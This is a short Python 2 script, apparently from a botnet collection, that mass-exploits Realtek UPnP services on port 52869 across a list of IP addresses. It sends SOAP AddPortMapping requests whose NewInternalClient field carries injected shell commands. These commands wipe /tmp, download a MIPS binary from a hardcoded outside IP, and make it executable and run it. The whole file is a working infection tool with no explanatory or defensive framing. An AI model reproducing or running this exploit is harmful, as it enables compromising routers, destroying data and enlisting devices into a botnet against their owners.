Path: blob/master/Botnets/Exploits/REALTEK/realtek.py
5038 views
#! python !#1import threading, sys, time, random, socket, re, os, struct, array, requests2ips = open(sys.argv[1], "r").readlines()3p1 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://159.89.204.166/turbo.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"4p2 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/;chmod +x turbo.mips;./turbo.mips realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"5headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}67class rtek(threading.Thread):8def __init__ (self, ip):9threading.Thread.__init__(self)10self.ip = str(ip).rstrip('\n')11def run(self):12try:13print "[Realtek] Loading - " + self.ip14url = "http://" + self.ip + ":52869/picsdesc.xml"15requests.post(url, timeout=3, headers=headerlist, data=p1)16requests.post(url, timeout=2.5, headers=headerlist, data=p2)17except Exception as e:18pass1920for ip in ips:21try:22n = rtek(ip)23n.start()24time.sleep(0.03)25except:26pass272829